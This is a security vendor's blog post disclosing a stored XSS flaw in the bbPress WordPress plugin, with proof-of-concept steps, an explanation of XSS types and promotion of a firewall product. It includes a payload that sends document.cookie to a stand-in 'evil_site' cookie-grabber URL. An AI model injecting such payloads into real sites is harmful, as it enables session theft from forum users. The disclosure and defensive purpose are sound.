Cross-site scripting flaw in bbPress Plugin

             Internet traffic is on the rise rapidly. Users like things that require less effort, and with quality work, WordPress is part of this.WordPress introduced in 2003, and there are millions of Wordpress websites hosted until now. Since we know that WordPress is a fixed website building block, each site has its purpose, and we are always trying to make it distinct from other websites not just by content but by structure. We've tried a lot of themes or plugins to attach additional functionality to WordPress-based sites, but are you sure the plugin is secure for your website or not vulnerable? Security is a vital part of website development, whether in terms of content, ads and even up to user requirements or SEO, you can make your website the best. miniOrange investigates the behavior of requests and blocks the harmful IP before it reaches your site.


bbPress is forum software from the creators of WordPress. Quickly set up a place for asynchronous discussion and subscriptions. The number of consumers still using the older version with the vulnerability is around 50%.



miniOrange found an Authenticated Stored XSS flaw in bbPress Plugin. The XSS is all about injecting malicious code, and in this case, it is injected through an Input field. The attacker enters a malicious script to steal all user information from a low privilege account by inserting a Script in the title of the image.



Proof of Concept:


  1. Local instance of Site with the bbpress Plugin installed:-




  2. Now click on the “forums” tab and click on “Add New”




  3. Give any title as you wish and add the javascript code in the text field and publish the forum.





    <script type="text/javascript"> window.onload = function(){ window.open("https://www.google.com", "_blank"); alert(document.cookie) } </script>


    <script type="text/javascript"> document.location= "https://evil_site/dashboard/de/cookiegraber.php?c=" + document.cookie; </script>

    After the Script is injected in the title and updated the attacker has successfully stored XSS on the forum and every user who visits the forum will be effected.



  4. Effects of the injection on the site :




    The Cross-site scripting(XSS) attack on WordPress site:


    The vulnerabilities in WordPress site enables attackers to inject malicious scripts under the impression of a trustworthy individual and force the user to perform malicious activities. There is no way to verify that the script is coming from a trusted source or not. In WordPress, we may attach additional functionality to WordPress sites through plugins, but often excellent services do have some drawbacks. After plugin activation, not only does the plugin grab the website parameters, but it also adds its input fields in it, and the chances of vulnerability in these input fields are often possible. That list of input fields contains site search, comment form, contact form, login pages, etc. The real security measure is based on these input fields because hackers exploit vulnerabilities in input fields and add malicious code to the site.



    Check out miniOrange WP Security Pro:   WP Security Pro



    How an Cross-site scripting(XSS) attack impacts a WordPress site?


    The attacker injects malicious script, which mainly contains malicious links or some malicious programs that silently get installed into the system without user interaction. Sometimes it forces the user to provide additional information. As we know, we don’t need to log in again, and again, once we login to web application, it generates a cookie session, and we can able to access web application until the session gets expired. After the cookies get stolen, the intruder will able to reach the user account without a username & password and able to view all the applications that opened in the same browser.

    There are three types of Cross-site Scripting(XSS):

    • The Reflective cross-site scripting attack is where the malicious script is injected from the client-side.

    • The persistent cross-site scripting attack is where the malicious script that is inserted by an attacker gets stored in the database, allowing the attacker to possibly retrieve information stored within the database.

    • The Dom cross-site scripting is a client-side attack. The malicious script directly executed after the execution of a legal server script.

    How to protect your WordPress site from Attackers?


    miniOrange provides a security package for your WordPress site. In it, you can get a Web application firewall to get rid of malicious activities.


    The miniOrange provides firewall based on two levels:

    • Website firewall based on plugin level:

      This will activate WAF after the WordPress load. This will block illegitimate requests after making a connection to WordPress. This will check Every Request in the plugin itself.



    • Website firewall on .htaccess level:

      At this level, WAF gets activated before the WordPress load. This level block illegitimate requests before any connection to WordPress. The illegal requests are gets blocked before any page gets loaded at this level.



    The firewall service gets enabled on plugin activation. In the free version of WP Security Pro, you get some signatures to prevent your WordPress site from cross-site scripting(XSS).



    WAF filters and blocks unauthorized requests which are coming from a web application and do not allow abuse of it.

    Further Details:

    https://security.miniorange.com/web-application-firewall-waf/
    https://wordpress.org/plugins/wp-security-pro/
    https://www.miniorange.com/